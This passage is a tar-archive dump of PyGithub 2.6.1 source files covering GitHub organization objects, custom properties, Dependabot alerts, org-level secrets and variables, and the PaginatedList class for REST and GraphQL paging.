self._requester.requestJsonAndCheck( "DELETE", f"/orgs/{self.login}/code-security/configurations/detach", input=delete_parameters, headers={"Accept": Consts.repoVisibilityPreview}, ) def get_repos_for_code_security_config( self, id: int, status: Opt[str] = NotSet ) -> PaginatedList[CodeSecurityConfigRepository]: """ :calls: `GET /orgs/{org}/code-security/configurations/{configuration_id}/repositories `_ """ assert isinstance(id, int), id assert is_optional(status, str), status url_parameters = NotSet.remove_unset_items({"status": status}) return PaginatedList( github.CodeSecurityConfigRepository.CodeSecurityConfigRepository, self._requester, f"{self.url}/code-security/configurations/{id}/repositories", url_parameters, headers={"Accept": Consts.repoVisibilityPreview}, ) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "advanced_security_enabled_for_new_repositories" in attributes: # pragma no branch self._advanced_security_enabled_for_new_repositories = self._makeBoolAttribute( attributes["advanced_security_enabled_for_new_repositories"] ) if "archived_at" in attributes: # pragma no branch assert attributes["archived_at"] is None or isinstance(attributes["archived_at"], str), attributes[ "archived_at" ] self._archived_at = self._makeDatetimeAttribute(attributes["archived_at"]) if "avatar_url" in attributes: # pragma no branch self._avatar_url = self._makeStringAttribute(attributes["avatar_url"]) if "billing_email" in attributes: # pragma no branch self._billing_email = self._makeStringAttribute(attributes["billing_email"]) if "blog" in attributes: # pragma no branch self._blog = self._makeStringAttribute(attributes["blog"]) if "collaborators" in attributes: # pragma no branch self._collaborators = self._makeIntAttribute(attributes["collaborators"]) if "company" in attributes: # pragma no branch self._company = self._makeStringAttribute(attributes["company"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "default_repository_permission" in attributes: # pragma no branch self._default_repository_permission = self._makeStringAttribute(attributes["default_repository_permission"]) if "dependabot_alerts_enabled_for_new_repositories" in attributes: # pragma no branch self._dependabot_alerts_enabled_for_new_repositories = self._makeBoolAttribute( attributes["dependabot_alerts_enabled_for_new_repositories"] ) if "dependabot_security_updates_enabled_for_new_repositories" in attributes: # pragma no branch self._dependabot_security_updates_enabled_for_new_repositories = self._makeBoolAttribute( attributes["dependabot_security_updates_enabled_for_new_repositories"] ) if "dependency_graph_enabled_for_new_repositories" in attributes: # pragma no branch self._dependency_graph_enabled_for_new_repositories = self._makeBoolAttribute( attributes["dependency_graph_enabled_for_new_repositories"] ) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "disk_usage" in attributes: # pragma no branch self._disk_usage = self._makeIntAttribute(attributes["disk_usage"]) if "display_login" in attributes: # pragma no branch self._display_login = self._makeStringAttribute(attributes["display_login"]) if "email" in attributes: # pragma no branch self._email = self._makeStringAttribute(attributes["email"]) if "events_url" in attributes: # pragma no branch self._events_url = self._makeStringAttribute(attributes["events_url"]) if "followers" in attributes: # pragma no branch self._followers = self._makeIntAttribute(attributes["followers"]) if "following" in attributes: # pragma no branch self._following = self._makeIntAttribute(attributes["following"]) if "gravatar_id" in attributes: # pragma no branch self._gravatar_id = self._makeStringAttribute(attributes["gravatar_id"]) if "has_organization_projects" in attributes: # pragma no branch self._has_organization_projects = self._makeBoolAttribute(attributes["has_organization_projects"]) if "has_repository_projects" in attributes: # pragma no branch self._has_repository_projects = self._makeBoolAttribute(attributes["has_repository_projects"]) if "hooks_url" in attributes: # pragma no branch self._hooks_url = self._makeStringAttribute(attributes["hooks_url"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "is_verified" in attributes: # pragma no branch self._is_verified = self._makeBoolAttribute(attributes["is_verified"]) if "issues_url" in attributes: # pragma no branch self._issues_url = self._makeStringAttribute(attributes["issues_url"]) if "location" in attributes: # pragma no branch self._location = self._makeStringAttribute(attributes["location"]) if "login" in attributes: # pragma no branch self._login = self._makeStringAttribute(attributes["login"]) if "members_allowed_repository_creation_type" in attributes: # pragma no branch self._members_allowed_repository_creation_type = self._makeStringAttribute( attributes["members_allowed_repository_creation_type"] ) if "members_can_create_internal_repositories" in attributes: # pragma no branch self._members_can_create_internal_repositories = self._makeBoolAttribute( attributes["members_can_create_internal_repositories"] ) if "members_can_create_pages" in attributes: # pragma no branch self._members_can_create_pages = self._makeBoolAttribute(attributes["members_can_create_pages"]) if "members_can_create_private_pages" in attributes: # pragma no branch self._members_can_create_private_pages = self._makeBoolAttribute( attributes["members_can_create_private_pages"] ) if "members_can_create_private_repositories" in attributes: # pragma no branch self._members_can_create_private_repositories = self._makeBoolAttribute( attributes["members_can_create_private_repositories"] ) if "members_can_create_public_pages" in attributes: # pragma no branch self._members_can_create_public_pages = self._makeBoolAttribute( attributes["members_can_create_public_pages"] ) if "members_can_create_public_repositories" in attributes: # pragma no branch self._members_can_create_public_repositories = self._makeBoolAttribute( attributes["members_can_create_public_repositories"] ) if "members_can_create_repositories" in attributes: # pragma no branch self._members_can_create_repositories = self._makeBoolAttribute( attributes["members_can_create_repositories"] ) if "members_can_fork_private_repositories" in attributes: # pragma no branch self._members_can_fork_private_repositories = self._makeBoolAttribute( attributes["members_can_fork_private_repositories"] ) if "members_url" in attributes: # pragma no branch self._members_url = self._makeStringAttribute(attributes["members_url"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "owned_private_repos" in attributes: # pragma no branch self._owned_private_repos = self._makeIntAttribute(attributes["owned_private_repos"]) if "plan" in attributes: # pragma no branch self._plan = self._makeClassAttribute(github.Plan.Plan, attributes["plan"]) if "private_gists" in attributes: # pragma no branch self._private_gists = self._makeIntAttribute(attributes["private_gists"]) if "public_gists" in attributes: # pragma no branch self._public_gists = self._makeIntAttribute(attributes["public_gists"]) if "public_members_url" in attributes: # pragma no branch self._public_members_url = self._makeStringAttribute(attributes["public_members_url"]) if "public_repos" in attributes: # pragma no branch self._public_repos = self._makeIntAttribute(attributes["public_repos"]) if "repos_url" in attributes: # pragma no branch self._repos_url = self._makeStringAttribute(attributes["repos_url"]) if "secret_scanning_enabled_for_new_repositories" in attributes: # pragma no branch self._secret_scanning_enabled_for_new_repositories = self._makeBoolAttribute( attributes["secret_scanning_enabled_for_new_repositories"] ) if "secret_scanning_push_protection_custom_link" in attributes: # pragma no branch self._secret_scanning_push_protection_custom_link = self._makeStringAttribute( attributes["secret_scanning_push_protection_custom_link"] ) if "secret_scanning_push_protection_custom_link_enabled" in attributes: # pragma no branch self._secret_scanning_push_protection_custom_link_enabled = self._makeBoolAttribute( attributes["secret_scanning_push_protection_custom_link_enabled"] ) if "secret_scanning_push_protection_enabled_for_new_repositories" in attributes: # pragma no branch self._secret_scanning_push_protection_enabled_for_new_repositories = self._makeBoolAttribute( attributes["secret_scanning_push_protection_enabled_for_new_repositories"] ) if "total_private_repos" in attributes: # pragma no branch self._total_private_repos = self._makeIntAttribute(attributes["total_private_repos"]) if "twitter_username" in attributes: # pragma no branch self._twitter_username = self._makeStringAttribute(attributes["twitter_username"]) if "two_factor_requirement_enabled" in attributes: # pragma no branch self._two_factor_requirement_enabled = self._makeBoolAttribute(attributes["two_factor_requirement_enabled"]) if "type" in attributes: # pragma no branch self._type = self._makeStringAttribute(attributes["type"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "web_commit_signoff_required" in attributes: # pragma no branch self._web_commit_signoff_required = self._makeBoolAttribute(attributes["web_commit_signoff_required"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/OrganizationCustomProperty.py0000644000175100001660000001740514756101563022235 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2024 Jacky Lam # # Copyright 2024 Kian-Meng Ang # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import Any from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet, Opt, is_optional class CustomProperty: """ This class represents a CustomProperty for an Organization. Use this class to create a new post parameter object. The reference can be found here https://docs.github.com/en/rest/orgs/custom-properties#create-or-update-custom-properties-for-an-organization """ def __init__( self, property_name: str, value_type: str, required: Opt[bool] = NotSet, default_value: Opt[None | str | list[str]] = NotSet, description: Opt[str | None] = NotSet, allowed_values: Opt[list[str] | None] = NotSet, values_editable_by: Opt[str | None] = NotSet, ): assert isinstance(property_name, str), property_name assert isinstance(value_type, str), value_type assert value_type in ["string", "single_select"], value_type assert is_optional(required, bool), required assert is_optional(default_value, (type(None), str, list)), default_value assert is_optional(description, (str, type(None))), description assert is_optional(allowed_values, (list, type(None))), allowed_values assert is_optional(values_editable_by, (str, type(None))), values_editable_by if values_editable_by is not NotSet: assert values_editable_by in ["org_actors", "org_and_repo_actors"], values_editable_by self.property_name = property_name self.value_type = value_type self.required = required self.default_value = default_value self.description = description self.allowed_values = allowed_values self.values_editable_by = values_editable_by def to_dict(self) -> dict[str, Any]: return NotSet.remove_unset_items(self.__dict__) class OrganizationCustomProperty(NonCompletableGithubObject): """ This class represents a CustomProperty for an Organization. The reference can be found here https://docs.github.com/en/rest/orgs/custom-properties The OpenAPI schema can be found at - /components/schemas/custom-property """ def _initAttributes(self) -> None: self._allowed_values: Attribute[list[str]] = NotSet self._default_value: Attribute[str | list[str]] = NotSet self._description: Attribute[str] = NotSet self._property_name: Attribute[str] = NotSet self._required: Attribute[bool] = NotSet self._url: Attribute[str] = NotSet self._value_type: Attribute[str] = NotSet self._values_editable_by: Attribute[str] = NotSet @property def allowed_values(self) -> Opt[list[str] | None]: return self._allowed_values.value @property def default_value(self) -> Opt[str | list[str] | None]: return self._default_value.value @property def description(self) -> Opt[str | None]: return self._description.value @property def property_name(self) -> str: return self._property_name.value @property def required(self) -> Opt[bool | None]: return self._required.value @property def url(self) -> str: return self._url.value @property def value_type(self) -> str: return self._value_type.value @property def values_editable_by(self) -> Opt[str | None]: return self._values_editable_by.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "allowed_values" in attributes: self._allowed_values = self._makeListOfStringsAttribute(attributes["allowed_values"]) if "default_value" in attributes: self._default_value = self._makeStringAttribute(attributes["default_value"]) if "description" in attributes: self._description = self._makeStringAttribute(attributes["description"]) if "property_name" in attributes: # pragma no branch self._property_name = self._makeStringAttribute(attributes["property_name"]) if "required" in attributes: self._required = self._makeBoolAttribute(attributes["required"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "value_type" in attributes: # pragma no branch self._value_type = self._makeStringAttribute(attributes["value_type"]) if "values_editable_by" in attributes: self._values_editable_by = self._makeStringAttribute(attributes["values_editable_by"]) class RepositoryCustomPropertyValues(NonCompletableGithubObject): """ This class represents CustomPropertyValues for a Repository. The reference can be found here https://docs.github.com/en/rest/orgs/custom-properties#list-custom-property-values-for-organization-repositories """ def _initAttributes(self) -> None: self._properties: Attribute[dict[str, str]] = NotSet self._repository_full_name: Attribute[str] = NotSet self._repository_id: Attribute[int] = NotSet self._repository_name: Attribute[str] = NotSet @property def properties(self) -> dict[str, str]: return self._properties.value @property def repository_full_name(self) -> str: return self._repository_full_name.value @property def repository_name(self) -> str: return self._repository_name.value @property def repository_id(self) -> int: return self._repository_id.value def _useAttributes(self, attributes: dict[str, Any]) -> None: self._repository_id = self._makeIntAttribute(attributes["repository_id"]) self._repository_name = self._makeStringAttribute(attributes["repository_name"]) self._repository_full_name = self._makeStringAttribute(attributes["repository_full_name"]) properties = {p["property_name"]: p["value"] for p in attributes["properties"]} self._properties = self._makeDictAttribute(properties) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/OrganizationDependabotAlert.py0000644000175100001660000000564714756101563022260 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Thomas Cooper # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import Any from github.DependabotAlert import DependabotAlert from github.GithubObject import Attribute, NotSet from github.Repository import Repository class OrganizationDependabotAlert(DependabotAlert): """ This class represents a Dependabot alert on an organization. The reference can be found here https://docs.github.com/en/rest/dependabot/alerts#list-dependabot-alerts-for-an-organization The OpenAPI schema can be found at - /components/schemas/dependabot-alert-with-repository """ def _initAttributes(self) -> None: super()._initAttributes() self._repository: Attribute[Repository] = NotSet @property def repository(self) -> Repository: return self._repository.value def _useAttributes(self, attributes: dict[str, Any]) -> None: super()._useAttributes(attributes) if "repository" in attributes: self._repository = self._makeClassAttribute(Repository, attributes["repository"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/OrganizationSecret.py0000644000175100001660000001430014756101563020432 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2023 Enrico Minack # # Copyright 2023 Mauricio Alejandro Martínez Pacheco # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Thomas Crowley <15927917+thomascrowley@users.noreply.github.com># # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime from typing import Any, Dict from github.GithubObject import Attribute, NotSet from github.PaginatedList import PaginatedList from github.Repository import Repository from github.Secret import Secret class OrganizationSecret(Secret): """ This class represents a org level GitHub secret. The reference can be found here https://docs.github.com/en/rest/actions/secrets """ def _initAttributes(self) -> None: self._created_at: Attribute[datetime] = NotSet self._name: Attribute[str] = NotSet self._selected_repositories: Attribute[PaginatedList[Repository]] = NotSet self._selected_repositories_url: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet self._visibility: Attribute[str] = NotSet @property def visibility(self) -> str: """ :type: string """ self._completeIfNotSet(self._visibility) return self._visibility.value @property def selected_repositories(self) -> PaginatedList[Repository]: return PaginatedList( Repository, self._requester, self._selected_repositories_url.value, None, list_item="repositories", ) def edit( self, value: str, visibility: str = "all", secret_type: str = "actions", ) -> bool: """ :calls: `PATCH /orgs/{org}/{secret_type}/secrets/{variable_name} `_ :param variable_name: string :param value: string :param visibility: string :param secret_type: string options actions or dependabot :rtype: bool """ assert isinstance(value, str), value assert isinstance(visibility, str), visibility assert secret_type in ["actions", "dependabot"], "secret_type should be actions or dependabot" patch_parameters: Dict[str, Any] = { "name": self.name, "value": value, "visibility": visibility, } status, _, _ = self._requester.requestJson( "PATCH", f"{self.url}/{secret_type}/secrets/{self.name}", input=patch_parameters, ) return status == 204 def add_repo(self, repo: Repository) -> bool: """ :calls: 'PUT {org_url}/actions/secrets/{secret_name} `_ :param repo: github.Repository.Repository :rtype: bool """ if self.visibility != "selected": return False self._requester.requestJsonAndCheck("PUT", f"{self._selected_repositories_url.value}/{repo.id}") return True def remove_repo(self, repo: Repository) -> bool: """ :calls: 'DELETE {org_url}/actions/secrets/{secret_name} `_ :param repo: github.Repository.Repository :rtype: bool """ if self.visibility != "selected": return False self._requester.requestJsonAndCheck("DELETE", f"{self._selected_repositories_url.value}/{repo.id}") return True def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "created_at" in attributes: self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "name" in attributes: self._name = self._makeStringAttribute(attributes["name"]) if "selected_repositories_url" in attributes: self._selected_repositories_url = self._makeStringAttribute(attributes["selected_repositories_url"]) if "updated_at" in attributes: self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: self._url = self._makeStringAttribute(attributes["url"]) if "visibility" in attributes: self._visibility = self._makeStringAttribute(attributes["visibility"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/OrganizationVariable.py0000644000175100001660000001366114756101563020743 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2023 Enrico Minack # # Copyright 2023 Mauricio Alejandro Martínez Pacheco # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime from typing import Any, Dict from github.GithubObject import Attribute, NotSet from github.PaginatedList import PaginatedList from github.Repository import Repository from github.Variable import Variable class OrganizationVariable(Variable): """ This class represents a org level GitHub variable. The reference can be found here https://docs.github.com/en/rest/actions/variables """ def _initAttributes(self) -> None: self._created_at: Attribute[datetime] = NotSet self._name: Attribute[str] = NotSet self._selected_repositories: Attribute[PaginatedList[Repository]] = NotSet self._selected_repositories_url: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet self._visibility: Attribute[str] = NotSet @property def visibility(self) -> str: """ :type: string """ self._completeIfNotSet(self._visibility) return self._visibility.value @property def selected_repositories(self) -> PaginatedList[Repository]: return PaginatedList( Repository, self._requester, self._selected_repositories_url.value, None, list_item="repositories", ) def edit( self, value: str, visibility: str = "all", ) -> bool: """ :calls: `PATCH /orgs/{org}/actions/variables/{variable_name} `_ :param variable_name: string :param value: string :param visibility: string :rtype: bool """ assert isinstance(value, str), value assert isinstance(visibility, str), visibility patch_parameters: Dict[str, Any] = { "name": self.name, "value": value, "visibility": visibility, } status, _, _ = self._requester.requestJson( "PATCH", f"{self.url}/actions/variables/{self.name}", input=patch_parameters, ) return status == 204 def add_repo(self, repo: Repository) -> bool: """ :calls: 'PUT {org_url}/actions/variables/{variable_name} `_ :param repo: github.Repository.Repository :rtype: bool """ if self.visibility != "selected": return False self._requester.requestJsonAndCheck("PUT", f"{self._selected_repositories_url.value}/{repo.id}") return True def remove_repo(self, repo: Repository) -> bool: """ :calls: 'DELETE {org_url}/actions/variables/{variable_name} `_ :param repo: github.Repository.Repository :rtype: bool """ if self.visibility != "selected": return False self._requester.requestJsonAndCheck("DELETE", f"{self._selected_repositories_url.value}/{repo.id}") return True def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "created_at" in attributes: self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "name" in attributes: self._name = self._makeStringAttribute(attributes["name"]) if "selected_repositories_url" in attributes: self._selected_repositories_url = self._makeStringAttribute(attributes["selected_repositories_url"]) if "updated_at" in attributes: self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: self._url = self._makeStringAttribute(attributes["url"]) if "visibility" in attributes: self._visibility = self._makeStringAttribute(attributes["visibility"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/PaginatedList.py0000644000175100001660000004613414756101563017362 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Bill Mill # # Copyright 2013 Vincent Jacques # # Copyright 2013 davidbrai # # Copyright 2014 Thialfihar # # Copyright 2014 Vincent Jacques # # Copyright 2015 Dan Vanderkam # # Copyright 2015 Eliot Walker # # Copyright 2016 Peter Buckley # # Copyright 2017 Jannis Gebauer # # Copyright 2018 Gilad Shefer # # Copyright 2018 Joel Koglin # # Copyright 2018 Steve Kowalik # # Copyright 2018 Wan Liuyang # # Copyright 2018 netsgnut <284779+netsgnut@users.noreply.github.com> # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Emir Hodzic # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Andrew Dawes <53574062+AndrewJDawes@users.noreply.github.com> # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2023 YugoHino # # Copyright 2024 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Callable, Dict, Generic, Iterator, List, Optional, Type, TypeVar, Union from urllib.parse import parse_qs from github.GithubObject import GithubObject from github.Requester import Requester T = TypeVar("T", bound=GithubObject) class PaginatedListBase(Generic[T]): __elements: List[T] def _couldGrow(self) -> bool: raise NotImplementedError def _fetchNextPage(self) -> List[T]: raise NotImplementedError def __init__(self, elements: Optional[List[T]] = None) -> None: self.__elements = [] if elements is None else elements def __getitem__(self, index: Union[int, slice]) -> Any: assert isinstance(index, (int, slice)) if isinstance(index, int): self.__fetchToIndex(index) return self.__elements[index] else: return self._Slice(self, index) def __iter__(self) -> Iterator[T]: yield from self.__elements while self._couldGrow(): newElements = self._grow() yield from newElements def _isBiggerThan(self, index: int) -> bool: return len(self.__elements) > index or self._couldGrow() def __fetchToIndex(self, index: int) -> None: while len(self.__elements) <= index and self._couldGrow(): self._grow() def _grow(self) -> List[T]: newElements = self._fetchNextPage() self.__elements += newElements return newElements class _Slice: def __init__(self, theList: "PaginatedListBase[T]", theSlice: slice): self.__list = theList self.__start = theSlice.start or 0 self.__stop = theSlice.stop self.__step = theSlice.step or 1 def __iter__(self) -> Iterator[T]: index = self.__start while not self.__finished(index): if self.__list._isBiggerThan(index): yield self.__list[index] index += self.__step else: return def __finished(self, index: int) -> bool: return self.__stop is not None and index >= self.__stop class PaginatedList(PaginatedListBase[T]): """ This class abstracts the `pagination of the REST API `_ and the GraphQl API `_. You can simply enumerate through instances of this class:: for repo in user.get_repos(): print(repo.name) If you want to know the total number of items in the list:: print(user.get_repos().totalCount) You can also index them or take slices:: second_repo = user.get_repos()[1] first_repos = user.get_repos()[:10] If you want to iterate in reversed order, just do:: for repo in user.get_repos().reversed: print(repo.name) And if you really need it, you can explicitly access a specific page:: repos = user.get_repos() assert repos.is_rest, "get_page not supported by the GraphQL API" some_repos = repos.get_page(0) some_other_repos = repos.get_page(3) """ # v3: move * before firstUrl and fix call sites def __init__( self, contentClass: Type[T], requester: Requester, firstUrl: Optional[str] = None, firstParams: Optional[Dict[str, Any]] = None, *, headers: Optional[Dict[str, str]] = None, list_item: Union[str, List[str]] = "items", total_count_item: str = "total_count", firstData: Optional[Any] = None, firstHeaders: Optional[Dict[str, Union[str, int]]] = None, attributesTransformer: Optional[Callable[[Dict[str, Any]], Dict[str, Any]]] = None, graphql_query: Optional[str] = None, graphql_variables: Optional[Dict[str, Any]] = None, ): if firstUrl is None and firstData is None and graphql_query is None: raise ValueError("Either firstUrl or graphql_query must be given") if firstUrl is not None and graphql_query is not None: raise ValueError("Only one of firstUrl or graphql_query can be given") if graphql_query is not None: if not (isinstance(list_item, list) and all(isinstance(item, str) for item in list_item)): raise ValueError("With graphql_query given, item_list must be a list of strings") self.__requester = requester self.__contentClass = contentClass self.__is_rest = firstUrl is not None or firstData is not None self.__firstUrl = firstUrl self.__firstParams: Dict[str, Any] = firstParams or {} self.__nextUrl = firstUrl self.__nextParams: Dict[str, Any] = firstParams or {} self.__headers = headers self.__list_item = list_item self.__total_count_item = total_count_item if self.__requester.per_page != 30: self.__nextParams["per_page"] = self.__requester.per_page self._reversed = False self.__totalCount: Optional[int] = None self._attributesTransformer = attributesTransformer self.__graphql_query = graphql_query self.__graphql_variables = graphql_variables or {} self.__page_info = None first_page = [] if firstData is not None: first_page = self._getPage(firstData, firstHeaders) # this paginated list contains a single page if self.__nextUrl is None and self.__totalCount is None: self.__totalCount = len(first_page) super().__init__(first_page) @property def is_rest(self) -> bool: return self.__is_rest @property def is_graphql(self) -> bool: return not self.is_rest def _transformAttributes(self, element: Dict[str, Any]) -> Dict[str, Any]: if self._attributesTransformer is None: return element return self._attributesTransformer(element) @property def totalCount(self) -> int: if self.__totalCount is None: if self.is_rest: params = self.__nextParams.copy() # set per_page = 1 so the totalCount is just the number of pages params.update({"per_page": 1}) headers, data = self.__requester.requestJsonAndCheck( "GET", self.__firstUrl, parameters=params, headers=self.__headers # type: ignore ) if "link" not in headers: if data and "total_count" in data: self.__totalCount = data["total_count"] elif data: if isinstance(data, dict): data = data[self.__list_item] self.__totalCount = len(data) else: self.__totalCount = 0 else: links = self.__parseLinkHeader(headers) lastUrl = links.get("last") if lastUrl: self.__totalCount = int(parse_qs(lastUrl)["page"][0]) else: self.__totalCount = 0 else: variables = self.__graphql_variables.copy() if not self._reversed: variables["first"] = 1 variables["after"] = None else: variables["last"] = 1 variables["before"] = None _, data = self.__requester.graphql_query(self.__graphql_query, variables) # type: ignore pagination = self._get_graphql_pagination(data["data"], self.__list_item) # type: ignore self.__totalCount = pagination.get("totalCount") return self.__totalCount # type: ignore def _getLastPageUrl(self) -> Optional[str]: headers, data = self.__requester.requestJsonAndCheck( "GET", self.__firstUrl, parameters=self.__nextParams, headers=self.__headers # type: ignore ) links = self.__parseLinkHeader(headers) return links.get("last") @property def reversed(self) -> "PaginatedList[T]": r = PaginatedList( self.__contentClass, self.__requester, self.__firstUrl, self.__firstParams, headers=self.__headers, list_item=self.__list_item, attributesTransformer=self._attributesTransformer, graphql_query=self.__graphql_query, graphql_variables=self.__graphql_variables, ) r.__reverse() return r def __reverse(self) -> None: self._reversed = True if self.is_rest: lastUrl = self._getLastPageUrl() if lastUrl: self.__nextUrl = lastUrl if self.__nextParams: # #2929: remove all parameters from self.__nextParams contained in self.__nextUrl self.__nextParams = { k: v for k, v in self.__nextParams.items() if k not in Requester.get_parameters_of_url(self.__nextUrl).keys() } def _couldGrow(self) -> bool: return ( self.is_rest and self.__nextUrl is not None or self.is_graphql and ( self.__page_info is None or not self._reversed and self.__page_info["hasNextPage"] or self._reversed and self.__page_info["hasPreviousPage"] ) ) def _get_graphql_pagination(self, data: Dict[str, Any], path: List[str]) -> Dict[str, Any]: for item in path: if item not in data: raise RuntimeError(f"Pagination path {path} not found in data: {self.paths_of_dict(data)}") data = data[item] return data def _fetchNextPage(self) -> List[T]: if self.is_rest: # REST API pagination headers, data = self.__requester.requestJsonAndCheck( "GET", self.__nextUrl, parameters=self.__nextParams, headers=self.__headers # type: ignore ) data = data if data else [] return self._getPage(data, headers) else: # GraphQL API pagination variables = self.__graphql_variables.copy() if not self._reversed: variables["first"] = self.__requester.per_page if self.__page_info is not None: variables["after"] = self.__page_info["endCursor"] else: variables["last"] = self.__requester.per_page if self.__page_info is not None: variables["before"] = self.__page_info["startCursor"] _, data = self.__requester.graphql_query(self.__graphql_query, variables) # type: ignore pagination = self._get_graphql_pagination(data["data"], self.__list_item) # type: ignore return self._getPage(pagination, {}) def _getPage(self, data: Any, headers: Optional[Dict[str, Union[str, int]]]) -> List[T]: if self.is_rest: self.__nextUrl = None # type: ignore if len(data) > 0: links = self.__parseLinkHeader(headers) # type: ignore if self._reversed: if "prev" in links: self.__nextUrl = links["prev"] elif "next" in links: self.__nextUrl = links["next"] self.__nextParams = {} if self.__list_item in data: self.__totalCount = data.get(self.__total_count_item) data = data[self.__list_item] content = [ self.__contentClass(self.__requester, headers, self._transformAttributes(element)) # type: ignore for element in data if element is not None ] if self._reversed: return content[::-1] return content else: if "pageInfo" not in data: raise RuntimeError(f"Query must provide pagination with pageInfo:\n{self.__graphql_query}") self.__page_info = data["pageInfo"] if any( item not in self.__page_info # type: ignore for item in ["startCursor", "endCursor", "hasNextPage", "hasPreviousPage"] ): raise RuntimeError(f"Query must provide pagination with pageInfo\n{self.__graphql_query}") if 